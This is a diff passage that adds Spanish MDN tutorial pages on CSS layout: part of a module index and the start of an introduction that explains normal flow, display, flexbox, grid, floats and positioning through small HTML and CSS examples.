+ <dd><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications">Flexbox</a>  es una muy reciente tecnología que, soportada ya por numerosos navegadores, está lista para su uso generalizado. Flexbox proporciona las herramientas necesarias para crear rápidamente maquetaciones flexibles y complejas, así como otras funcionalidades que tradicionalmente eran de difícil implementación con CSS. Este artículo explica su funcionamiento básico.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grids</a></dt>
+ <dd>Los sistemas de cuadrícula son otra funcionalidad muy utilizada para la maquetación CSS, que tiende a ser implementada mediante <em>floats</em> u otras funciones de maquetación. Visualizas tu maquetación como un número fijo de columnas donde vas incluyendo tu contenido. En este artículo exploraremos la idea básica detrás de un sistema de cuadrícula, y terminaremos experimentando con CSS Grid, una incipiente nueva característica que permite diseñar una cuadricula Web con gran facilidad</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Floats</a></dt>
+ <dd>Inicialmente utilizado para imágenes flotantes dentro de bloques de texto, la propiedad {{cssxref("float")}} se ha convertido en una de las herramientas más utilizadas para crear maquetaciones de varias columnas en páginas web. Con la venida de Flexbox y Grid se ha regresado a su propósito original, como lo explica este artículo.</dd>
+ <dt><a href="https://wiki.developer.mozilla.org/es/docs/Learn/CSS/CSS_layout/Positioning">Posicionamiento</a></dt>
+ <dd>El posicionamiento te permite sacar elementos del flujo normal de maquetación del documento para hacer que se comporten de manera diferente, p.ej: colocando unos encima de otros, o fijándolos a un lugar de la ventana principal. Este artículo explica los diferentes valores para  {{cssxref("position")}} y cómo utilizarlos.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Practical_positioning_examples">Ejemplos prácticos de posicionamiento</a></dt>
+ <dd>Una vez cubiertas las nociones básicas de posicionamiento en el artículo anterior, vamos ahora a construir un par de ejemplos reales, para explicar las cosas que puedes hacer con el posicionamiento.</dd>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Diseño Multi-columna</a></dt>
+ <dd>El diseño multi-columna te proporciona un método de maquetación de contenido en columnas, como lo podrías ver en un periódico. Este artículo explica como usar esta característica.</dd>
+ <dt><a href="https://wiki.developer.mozilla.org/es/docs/Learn/CSS/CSS_layout/Diseño_receptivo">Responsive design</a></dt>
+ <dd>A medida que han aparecido diversos tamaños de pantalla en dispositivos habilitados para la web, apareció un conjunto de practicas que permiten a las páginas web alterar su diseño y apariencia para adaptarse a diferentes anchos de pantalla, resoluciones, etc.Este se conoce como Responsive design (RWD) y es una idea que cambió la forma en que diseñamos páginas web multi-dispositivos, y en este artículo te ayudaremos a entender las principales técnicas que necesitas saber para dominarlo.</dd>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Media_queries">Guía de consulta de medios para principiantes</a></dt>
+ <dd><strong>CSS Media Query </strong>te proporciona una forma de aplicar CSS solo cuando el entorno del navegador y el dispositivo coincide con las reglas que especificaste, por ejemplo "la ventana principal es más ancha de 480 pixels". Las consultas de medios son una parte clave del responsive web design, ya que te permiten crear diferentes diseños dependiendo del tamaño de la ventana principal, así como también puede ser usado para detectar otras cosas acerca del entorno en donde tu página web se está ejecutando, por ejemplo si el usuario está usando una pantalla táctil en lugar de un ratón. En esta guía, aprenderás primero acerca de la sintaxis usada en las consultas de medios, y luego pasar a usarlos en un ejemplo donde se muestra cómo un diseño simple puede hacerse responsive.</dd>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Métodos de diseño heredados</a></dt>
+ <dd>Los sistemas Grid son una característica muy común usada en el diseño CSS, y antes del diseño Grid CSS, tendían a ser implementados usando floats u otras características de diseño. Imagina tu diseño como un conjunto de números de columnas (p.ej. 4, 5 o 12), y luego acomoda tus columnas de contenido dentro de esas columnas imaginarias. En este artículo vamos a explorar cómo funcionan estos métodos para que entiendas como eran usados si trabajas en un proyecto más antiguo. </dd>
+ <dt><a href="https://wiki.developer.mozilla.org/es/docs/Learn/CSS/CSS_layout/Soporte_a_navegadores_antiguos">Soporte a navegadores antiguos</a></dt>
+ <dd>En este modulo recomendamos usar Flexbox y Grid como principal método de diseño. Siempre habrán personas que visiten tu página web desde navegadores antiguos, o navegadores que no soportan los métodos que usaste. Este siempre ha sido el caso en la web: a medida que se desarrollan nuevas características, los distintos navegadores priorizan diferentes cosas. Este artículo explica como usar técnicas modernas para la web sin dejar por fuera a los usuarios de tecnologías antiguas. </dd>
+</dl>
+
+<h2 id="Ejercicios">Ejercicios</h2>
+
+<p>Los siguientes ejercicios comprobarán tu habilidad para maquetar páginas web con CSS.</p>
+
+<dl>
+ <dt>Creando una maquetación de varias columnas flexibles</dt>
+ <dd>Este ejercicio comprobará tu habilidad par crear una maquetación multi-columna, con alguna que otra característica interesante.</dd>
+ <dt>Creando un <em>widget</em> fijo de control</dt>
+ <dd>Este ejercicio pone a prueba tu entendimiento sobre el posicionamiento, proponiéndote crear un <em>widget</em> de control con posición fija, que permitirá al usuario acceder a los controles de una aplicación Web, independientemente de dónde se hubiera desplazado en la página.</dd>
+</dl>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/Learn/CSS/Basics/Layout">https://developer.mozilla.org/en-US/Learn/CSS/Basics/Layout</a></li>
+</ul>
diff --git a/files/es/learn/css/css_layout/introducción/index.html b/files/es/learn/css/css_layout/introducción/index.html
new file mode 100644
index 0000000000..2f409d97c3
--- /dev/null
+++ b/files/es/learn/css/css_layout/introducción/index.html
@@ -0,0 +1,701 @@
+---
+title: Introducción al diseño en CSS
+slug: Learn/CSS/CSS_layout/Introducción
+translation_of: Learn/CSS/CSS_layout/Introduction
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}</div>
+
+<p class="summary">Este artículo resumirá algunas de las características de diseño de páginas web con CSS que ya hemos mencionado en módulos anteriores, como los diferentes valores de {{cssxref ("display")}}, e introducirá algunos de los conceptos que vamos a tratar en este módulo.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conceptos básicos de HTML (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>) y nociones de cómo funciona el CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Introducción al CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Proporcionar una visión general de las técnicas de diseño de páginas web con CSS. Cada técnica se puede aprender con mayor detalle en tutoriales posteriores.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Las técnicas de diseño de páginas web con CSS nos permiten controlar dónde se ubican los elementos que están contenidos en una página web en relación con su posición predeterminada en el flujo de diseño normal, así como el resto de elementos a su alrededor, su contenedor principal o la vista/ventana principal. Las técnicas de diseño de páginas web que trataremos con más detalle en este módulo son:</p>
+
+<ul>
+ <li>Flujo normal</li>
+ <li>La propiedad {{cssxref ("display")}}</li>
+ <li>Flexbox</li>
+ <li>Grid</li>
+ <li>Floats</li>
+ <li>Posicionamiento</li>
+ <li>Diseño de tablas</li>
+ <li>Diseño a varias columnas</li>
+</ul>
+
+<p>Cada técnica tiene sus usos, ventajas y desventajas, y ninguna técnica está diseñada para usarse de forma aislada. Si entiendes para qué se ha diseñado cada método, te será fácil comprender cuál es la mejor herramienta de diseño para cada tarea.</p>
+
+<h2 id="Flujo_normal">Flujo normal</h2>
+
+<p>El flujo normal es el modo como el navegador presenta las páginas HTML de forma predeterminada cuando no haces nada para controlar el diseño de página. Echemos un vistazo rápido a un ejemplo HTML:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Amo a mi gato.&lt;/p&gt;
+
+&lt;ul&gt;
+  &lt;li&gt;Comprar comida para gatos&lt;/li&gt;
+  &lt;li&gt;Ejercicio&lt;/li&gt;
+  &lt;li&gt;Anímate amigo&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;¡Fin!&lt;/p&gt;</pre>
+
+<p>Por defecto, el navegador mostrará este código de la manera siguiente:</p>
+
+<p>{{ EmbedLiveSample('Normal_flow', '100%', 200) }}</p>
+
+<p>Observa aquí cómo se muestra el HTML en el orden exacto en que aparece en el código fuente, con los elementos uno debajo del otro: el primer párrafo, seguido de la lista desordenada, y a continuación el segundo párrafo.</p>
+
+<p>Los elementos que aparecen uno debajo del otro se describen como <em>elementos de bloque</em>, en contraposición con los <em>elementos de línea</em>, que aparecen uno al lado del otro, como las palabras de un párrafo.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: La dirección en la que se presentan los contenidos de un elemento de bloque se describe como dirección de los bloques. La dirección de los bloques va de arriba a abajo en un idioma como el español, cuyo modo de escritura es horizontal. Sería horizontal en cualquier idioma con un modo de escritura vertical, como el japonés. Correspondientemente, la dirección de línea es la dirección en la que los contenidos de línea (por ejemplo, una frase) se disponen.</p>
+</div>
+
+<p>Cuando usas CSS para crear un diseño de página web, alejas los elementos del flujo normal, pero para muchos de los elementos de tu página, el flujo normal proporciona exactamente el diseño que necesitas. Por esta razón resulta tan importante comenzar con un documento HTML bien estructurado, porque te permite trabajar ya con la forma en que las cosas se presentan por defecto, en lugar de tener que luchar contra ello.</p>
+
+<p>Los métodos que permiten cambiar la disposición de los elementos en CSS son los siguientes:</p>
+
+<ul>
+ <li><strong>La propiedad {{cssxref ("display")}}</strong>: los valores estándar como <code>block</code>, <code>inline</code> o <code>inline-block</code> pueden cambiar el comportamiento de los elementos en el flujo normal (consulta <a href="/es/docs/Learn/CSS/Building_blocks/El_modelo_de_caja">Tipos de cajas en CSS</a> para obtener más información). Luego hay métodos de diseño completos que se activan con un valor <code>display</code>, por ejemplo <a href="/es/docs/Learn/CSS/CSS_layout/Grids">CSS Grid</a> y <a href="/es/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>.</li>
+ <li><strong>Floats</strong>: la aplicación de un valor {{cssxref ("float")}} como <code>left</code> puede hacer que los elementos de nivel de bloque rodeen el elemento por uno de sus lados, como la forma en que las imágenes a veces tienen texto flotando a su alrededor en los diseños de algunas revistas.</li>
+ <li><strong>La propiedad {{cssxref ("position")}}</strong>: permite controlar con precisión la ubicación de las cajas dentro de otras cajas. El posicionamiento estático es el valor predeterminado en el flujo normal, pero puede hacer que los elementos se distribuyan de manera diferente si se utilizan otros valores, por ejemplo, pueden estar siempre fijados a la parte superior izquierda de la ventana del navegador.</li>
+ <li><strong>Diseño de tablas</strong>: se pueden usar las características que sirven para diseñar las partes de una tabla HTML en elementos que no son de tabla con <code>display: table</code> y las propiedades asociadas.</li>
+ <li><strong>Diseño en varias columnas</strong>: las propiedades de <a href="/es/docs/Web/CSS/Columnas_CSS">diseño en varias columnas</a> permiten distribuir el contenido de un bloque en columnas, como en el caso de un periódico.</li>
+</ul>
+
+<h2 id="La_propiedad_display">La propiedad display</h2>
+
+<p>Los métodos principales para lograr el diseño de páginas web con CSS son todos los valores de la propiedad <code>display</code>. Esta propiedad permite cambiar la forma predeterminada en que algo se muestra. Todo en flujo normal tiene un valor de <code>display</code>, utilizado como la forma como se comportan por defecto los elementos en los que están configurados. Por ejemplo, el hecho de que los párrafos en español se muestran uno debajo del otro se debe a que presentan la configuración <code>display: block</code>. Si creas un enlace alrededor de un texto dentro de un párrafo, ese enlace permanece en línea con el resto del texto y no se divide al pasar a una línea nueva. Esto se debe a que el elemento {{htmlelement ("a")}} es por defecto <code>display: inline</code>.</p>
+
+<p>Puedes cambiar este comportamiento predeterminado de visualización (<code>display</code>). Por ejemplo, el elemento {{htmlelement ("li")}} es <code>display: block</code> de forma predeterminada, lo que significa que los elementos de la lista se muestran uno debajo del otro en nuestro documento en español. Si cambiamos el valor de visualización a <code>inline</code>, ahora se muestran uno al lado del otro, como lo harían las palabras de una frase. El hecho de que puedas cambiar el valor de <code>display</code> de cualquier elemento significa que puedes elegir elementos HTML por su significado semántico, sin preocuparte por cómo se verán. La forma en que se ven es algo que puedes cambiar.</p>
+
+<p>Además de poder cambiar la presentación predeterminada de un elemento <code>block</code> a un elemento <code>inline</code> y viceversa, hay algunos métodos de diseño de página más poderosos que se inician como un valor de <code>display</code>. Sin embargo, cuando los uses, en general vas a necesitar propiedades adicionales. Los dos valores más importantes para nuestros propósitos cuando hablamos del diseño de páginas web son <code>display: flex</code> y <code>display: grid</code>.</p>
+
+<h2 id="Flexbox">Flexbox</h2>
+
+<p>Flexbox es el nombre corto del <a href="/es/docs/Web/CSS/CSS_Flexible_Box_Layout">módulo de diseño de cajas flexibles</a>, pensado para facilitarnos la distribución de las cosas en una dimensión, ya sea como una fila o como una columna. Para usar el método Flexbox, aplica <code>display: flex</code> al elemento padre de los elementos que deseas distribuir; todos sus elementos hijo directos se convierten en elementos flexibles. Vamos a verlo en un ejemplo sencillo.</p>
+
+<p>El marcado HTML siguiente nos proporciona un elemento contenedor con una clase <code>wrapper</code> dentro del cual hay tres elementos {{htmlelement ("div")}}. Por defecto, estos elementos se mostrarían como elementos de bloque, uno debajo del otro, en nuestro documento en español.</p>
+
+<p>Sin embargo, si añadimos <code>display: flex</code> al elemento padre, los tres elementos se organizan en columnas. Esto se debe a que se convierten en <em>elementos flexibles</em> y se ven afectados por algunos valores iniciales que el método Flexbox establece en el contenedor flexible. Se muestran en una fila porque el valor inicial de {{cssxref ("flex-direction")}} establecido en su elemento padre es <code>row</code>. Todos parecen expandirse hasta la altura del elemento de más altura, porque el valor inicial de la propiedad {{cssxref ("align-items")}} establecida en su elemento primario es <code>stretch</code>. Esto significa que los artículos se expanden hasta la altura del contenedor flexible, que en este caso está definida por el artículo de mayor altura. Todos los artículos se alinean al comienzo del contenedor y dejan el espacio que sobra al final de la fila.</p>
+
+<div id="Flex_1">
+<div class="hidden">
+<h6 id="Ejemplo_Flexbox_1">Ejemplo Flexbox 1</h6>
+
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper &gt; div {
+    border-radius: 5px;
+    background-color: rgb(207,232,220);
+    padding: 1em;
+}
+    </pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: flex;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;Uno&lt;/div&gt;
+  &lt;div class="box2"&gt;Dos&lt;/div&gt;
+  &lt;div class="box3"&gt;Tres&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Flex_1', '300', '200') }}</p>
+
+<p>Además de las propiedades anteriores, que pueden aplicarse a contenedores flexibles, también hay propiedades que pueden aplicarse a los elementos flexibles. Estas propiedades, entre otras cosas, pueden cambiar el comportamiento de estos elementos flexibles y permitirles expandirse y contraerse para adaptarse al espacio disponible.</p>
+
+<p>Como un ejemplo sencillo de esto podemos añadir la propiedad {{cssxref ("flex")}} a todos nuestros elementos secundarios, con un valor de <code>1</code>. Esto hará que todos los elementos crezcan y llenen el contenedor, en lugar de dejar espacio al final. Si hay más espacio, los artículos se ensancharán; si hay menos espacio, se volverán más estrechos. Además, si añades al código otro elemento, todos los elementos se volverán más pequeños para dejarle espacio; ajustarán el tamaño para ocupar la misma cantidad de espacio, cualquiera que sea.</p>
+
+<div id="Flex_2">
+<div class="hidden">
+<h6 id="Ejemplo_Flexbox_2">Ejemplo Flexbox 2</h6>
+
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+    .wrapper &gt; div {
+        border-radius: 5px;
+        background-color: rgb(207,232,220);
+        padding: 1em;
+    }</pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+    display: flex;
+}
+
+.wrapper &gt; div {
+    flex: 1;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+    &lt;div class="box1"&gt;Uno&lt;/div&gt;
+    &lt;div class="box2"&gt;Dos&lt;/div&gt;
+    &lt;div class="box3"&gt;Tres&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Flex_2', '300', '200') }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Esta ha sido una breve introducción de lo que permite el método Flexbox. Para obtener más información, consulta nuestro artículo sobre <a href="/es/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>.</p>
+</div>
+
+<h2 id="Diseño_de_cuadrícula">Diseño de cuadrícula</h2>
+
+<p>Mientras que el método Flexbox está pensado para distribuir elementos unidimensionalmente, el diseño de cuadrícula está diseñado para distribuir elementos en dos dimensiones: alinear elementos en filas y columnas.</p>
+
+<p>Una vez más, puedes activar el diseño de páginas web en cuadrícula con un valor de visualización específico: <code>display: grid</code>. El ejemplo siguiente utiliza un marcado similar al del ejemplo del método Flexbox, con un contenedor y algunos elementos secundarios. Además de usar <code>display: grid</code>, también definimos algunos tramos de filas y columnas en el elemento padre con las propiedades {{cssxref("grid-template-rows")}} y {{cssxref("grid-template-columns")}}. Hemos definido tres columnas, cada una de <code>1fr</code>, y dos filas de <code>100px</code>. No necesitamos poner ninguna regla sobre los elementos secundarios porque se colocan automáticamente en las celdas que nuestra cuadrícula ha creado.</p>
+
+<div id="Grid_1">
+<div class="hidden">
+<h6 id="Ejemplo_de_cuadrícula_1">Ejemplo de cuadrícula 1</h6>
+
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+    .wrapper &gt; div {
+        border-radius: 5px;
+        background-color: rgb(207,232,220);
+        padding: 1em;
+    }</pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+    display: grid;
+    grid-template-columns: 1fr 1fr 1fr;
+    grid-template-rows: 100px 100px;
+    grid-gap: 10px;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+    &lt;div class="box1"&gt;Uno&lt;/div&gt;
+    &lt;div class="box2"&gt;Dos&lt;/div&gt;
+    &lt;div class="box3"&gt;Tres&lt;/div&gt;
+    &lt;div class="box4"&gt;Cuatro&lt;/div&gt;
+    &lt;div class="box5"&gt;Cinco&lt;/div&gt;
+    &lt;div class="box6"&gt;Seis&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Grid_1', '300', '330') }}</p>
+
+<p>Cuando ya tienes una cuadrícula, se puede colocar tus elementos en ella explícitamente en lugar de confiar en el comportamiento de colocación automática que hemos visto arriba. En el segundo ejemplo, hemos definido la misma cuadrícula, pero esta vez con tres elementos secundarios. Hemos establecido la línea de inicio y final de cada elemento con las propiedades {{cssxref ("grid-column")}} y {{cssxref ("grid-row")}}. Esto hace que los elementos abarquen varios tramos.</p>
+
+<div id="Grid_2">
+<div class="hidden">
+<h6 id="Ejemplo_de_cuadrícula_2">Ejemplo de cuadrícula 2</h6>
+
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+    .wrapper &gt; div {
+        border-radius: 5px;
+        background-color: rgb(207,232,220);
+        padding: 1em;
+    }</pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+    display: grid;
+    grid-template-columns: 1fr 1fr 1fr;
+    grid-template-rows: 100px 100px;
+    grid-gap: 10px;
+}
+
+.box1 {
+    grid-column: 2 / 4;
+    grid-row: 1;
+}
+
+.box2 {
+    grid-column: 1;
+    grid-row: 1 / 3;
+}
+
+.box3 {
+    grid-row: 2;
+    grid-column: 3;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+    &lt;div class="box1"&gt;Uno&lt;/div&gt;
+    &lt;div class="box2"&gt;Dos&lt;/div&gt;
+    &lt;div class="box3"&gt;Tres&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Grid_2', '300', '330') }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Estos dos ejemplos son solo una pequeña parte del poder del diseño de cuadrículas; para obtener más información, consulta nuestro artículo sobre <a href="/es/docs/Learn/CSS/CSS_layout/Grids">Diseñar cuadrículas</a>.</p>
+</div>
+
+<p>El resto de esta guía expone otros métodos de diseño de páginas web que son menos importantes para las estructuras principales de diseño de tu página web, pero que pueden serte de ayuda para tareas específicas. Si entiendes la naturaleza de cada una de las tareas de diseño de una página web, vas a descubrir enseguida que a menudo vas a ser capaz de discernir qué tipo de diseño se adapta mejor a cada componente de tu diseño particular.</p>
+
+<h2 id="Floats">Floats</h2>
+
+<p>El método de flotación de un elemento cambia el comportamiento de ese elemento y de los elementos de nivel de bloque que lo siguen en el flujo normal. El elemento es desplazado hacia la izquierda o hacia la derecha y es eliminado del flujo normal, y el contenido circundante flota alrededor de este elemento.</p>
+
+<p>La propiedad {{cssxref ("float")}} tiene cuatro valores posibles:</p>
+
+<ul>
+ <li><code>left</code>: establece la flotación a la izquierda del elemento.</li>
+ <li><code>right</code>: establece la flotación a la derecha del elemento.</li>
+ <li><code>none</code>: especifica que no hay flotación en absoluto. Este es el valor predeterminado.</li>
+ <li><code>inherit</code>: especifica que el valor de la propiedad <code>float</code> debe heredarse del elemento padre.</li>
+</ul>
+
+<p>En el ejemplo siguiente, establecemos una flotación a la izquierda para un elemento <code>&lt;div&gt;</code> y le damos un {{cssxref ("margin")}} a la derecha para mantener el texto alejado del elemento. Esto nos da el efecto del texto envuelto alrededor de ese cuadro, y es la mayor parte de lo que necesitas saber sobre la flotación, tal como se utiliza en el diseño web moderno.</p>
+
+<div id="Float_1">
+<div class="hidden">
+<h6 id="Ejemplo_de_flotación">Ejemplo de flotación</h6>
+
+<pre class="brush: css notranslate">body {
+    width: 90%;
+    max-width: 900px;
+    margin: 0 auto;
+}
+
+p {
+    line-height: 2;
+    word-spacing: 0.1rem;
+}
+
+.box {
+    background-color: rgb(207,232,220);
+    border: 2px solid rgb(79,185,227);
+    padding: 10px;
+    border-radius: 5px;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Ejemplo sencillo de flotación&lt;/h1&gt;
+
+&lt;div class="box"&gt;Float&lt;/div&gt;
+
+&lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+</pre>
+
+<pre class="brush: css notranslate">
+.box {
+    float: left;
+    width: 150px;
+    height: 150px;
+    margin-right: 30px;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Float_1', '100%', 600) }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: El método de flotación se explica al completo en nuestro artículo sobre <a href="/es/docs/Learn/CSS/CSS_layout/Floats">las propiedades float y clear</a>. El método de flotación es el que se usaba para crear diseños de columnas antes de la aparición de técnicas como los métodos Flexbox y diseño en rejillas. En la red aún puedes toparte con estos métodos. Vamos a exponer todo esto en el artículo sobre <a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">métodos de diseño heredados</a>.</p>
+</div>
+
+<h2 id="Técnicas_de_posicionamiento">Técnicas de posicionamiento</h2>
+
+<p>El posicionamiento permite mover un elemento desde donde se colocaría cuando está en flujo normal a otra ubicación. El posicionamiento no es un método para crear diseños de página principal, se trata más bien de administrar y ajustar la posición de elementos específicos en la página.</p>
+
+<p>Sin embargo, hay técnicas útiles para ciertos patrones de diseños de páginas web que se basan en la propiedad {{cssxref ("position")}}. Comprender el posicionamiento también ayuda a comprender el flujo normal y qué implica sacar un elemento del flujo normal.</p>
+
+<p>Hay cinco tipos de posicionamiento que debes conocer:</p>
+
+<ul>
+ <li>El <strong>posicionamiento estático</strong> es el valor por defecto que tiene establecido cada elemento, esto significa sencillamente «coloca el elemento en su posición normal en el flujo de diseño del documento, nada especial que ver aquí».</li>
+ <li>El <strong>posicionamiento relativo</strong> permite modificar la posición de un elemento en la página y moverlo con respecto a su posición en el flujo normal, lo que incluye superposiciones con otros elementos de la página.</li>
+ <li>El <strong>posicionamiento absoluto</strong> mueve un elemento completamente fuera del flujo de diseño normal de la página, como si estuviera asentado en una capa separada propia. A partir de aquí, puedes fijarlo en una posición relativa a los bordes del elemento <code>&lt;html&gt;</code> de la página (o su elemento padre más próximo). Esto es útil para crear efectos complejos de diseño de página, como cuadros con pestañas en que diferentes paneles de contenido se ubican uno encima del otro y se muestran y ocultan según se desee, o paneles de información que por defecto se asientan fuera de la pantalla, pero puedes hacer que se deslicen hacia la pantalla usando un control de tipo botón.</li>
+ <li>El <strong>posicionamiento fijo</strong> es muy similar al posicionamiento absoluto, excepto que corrige un elemento relativo a la ventana gráfica del navegador, no otro elemento. Esto es útil para crear efectos, como un menú de navegación persistente que siempre permanece en el mismo lugar en la pantalla al contrario que el contenido, que se desplaza.</li>
+ <li>El <strong>posicionamiento <em>sticky</em> (pegajoso)</strong> es un método de posicionamiento más reciente que hace que un elemento actúe como <code>position: static</code> hasta que alcanza un desplazamiento definido con respecto a la ventana gráfica, en cuyo punto actúa como un elemento con la propiedad <code>position: fixed</code>.</li>
+</ul>
+
+<h3 id="Ejemplo_sencillo_de_posicionamiento">Ejemplo sencillo de posicionamiento</h3>
+
+<p>Para familiarizarte con estas técnicas de diseño de página, te mostraremos un par de ejemplos rápidos. Todos nuestros ejemplos contarán con el mismo HTML, que es el siguiente:</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Posicionamiento&lt;/h1&gt;
+
+&lt;p&gt;Soy un elemento básico de nivel de bloque.&lt;/p&gt;
+&lt;p class="positioned"&gt;Soy un elemento básico de nivel de bloque.&lt;/p&gt;
+&lt;p&gt;Soy un elemento básico de nivel de bloque.&lt;/p&gt;</pre>
+
+<p>Aplicaremos a este HTML un estilo predeterminado definido por el CSS siguiente:</p>
+
+<pre class="brush: css notranslate">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+    background-color: rgb(207,232,220);
+    border: 2px solid rgb(79,185,227);
+    padding: 10px;
+    margin: 10px;
+    border-radius: 5px;
+}
+</pre>
+
+<p>La salida que se obtiene es la siguiente:</p>
+
+<p>{{ EmbedLiveSample('Simple_positioning_example', '100%', 300) }}</p>
+
+<h3 id="El_posicionamiento_relativo">El posicionamiento relativo</h3>
+
+<p>El posicionamiento relativo permite compensar un elemento desde la posición por defecto que tendría en flujo normal. Esto significa que podrías hacer una tarea como mover un icono un poco hacia abajo para que se alinee con una etiqueta de texto. Para ello, podríamos añadir la regla de posicionamiento relativo siguiente:</p>
+
+<pre class="brush: css notranslate">.positioned {
+  position: relative;
+  top: 30px;
+  left: 30px;
+}</pre>
+
+<p>Aquí asignamos el valor <code>relative</code> a la propiedad {{cssxref ("position")}} de nuestro párrafo del medio: esto no hace nada por sí solo, así que también añadimos las propiedades {{cssxref ("top")}} y {{cssxref ( "left")}}, que sirven para mover el elemento afectado hacia abajo y a la derecha. Esto puede parecer lo contrario de lo que esperabas, pero debes pensar en ello como un elemento al que se empuja por sus lados superior e izquierdo, lo que resulta en un movimiento a la derecha y abajo.</p>
+
+<p>Añadir este código dará el resultado siguiente:</p>
+
+<div id="Relative_1">
+<div class="hidden">
+<h6 id="Ejemplo_de_posicionamiento_relativo">Ejemplo de posicionamiento relativo</h6>
+
+<pre class="brush: html notranslate">&lt;h1&gt;El posicionamiento relativo&lt;/h1&gt;
+
+&lt;p&gt;Soy un elemento básico de nivel de bloque.&lt;/p&gt;
+&lt;p class="positioned"&gt;Este es mi elemento con posicionamiento relativo. &lt;/p&gt;
+&lt;p&gt;Soy un elemento básico de nivel de bloque.&lt;/p&gt;</pre>
+
+<pre class="brush: css notranslate">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+    background-color: rgb(207,232,220);
+    border: 2px solid rgb(79,185,227);
+    padding: 10px;
+    margin: 10px;
+    border-radius: 5px;
+}
+</pre>
+</div>
+
+<pre class="brush: css notranslate">.positioned {
+  position: relative;
+  background: rgba(255,84,104,.3);
+  border: 2px solid rgb(255,84,104);
+  top: 30px;
+  left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Relative_1', '100%', 300) }}</p>
+
+<h3 id="El_posicionamiento_absoluto">El posicionamiento absoluto</h3>
+
+<p>El posicionamiento absoluto se utiliza para eliminar por completo un elemento del flujo normal y colocarlo mediante desplazamientos desde los bordes de un bloque contenedor.</p>
+
+<p>Volviendo a nuestro ejemplo original no posicionado, podríamos añadir la regla CSS siguiente para implementar el posicionamiento absoluto:</p>
+
+<pre class="brush: css notranslate">.positioned {
+  position: absolute;
+  top: 30px;
+  left: 30px;
+}</pre>
+
+<p>Aquí le damos a la propiedad {{cssxref ("position")}} de nuestro párrafo del medio un valor de <code>absolute</code>, y le asignamos las mismas propiedades {{cssxref ("top")}} y {{cssxref ("left")}}. Sin embargo, ahora añadir este código da el resultado siguiente:</p>
+
+<div id="Absolute_1">
+<div class="hidden">
+<h6 id="Ejemplo_de_posicionamiento_absoluto">Ejemplo de posicionamiento absoluto</h6>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Posicionamiento absoluto&lt;/h1&gt;
+
+&lt;p&gt;Soy un elemento básico de nivel de bloque.&lt;/p&gt;
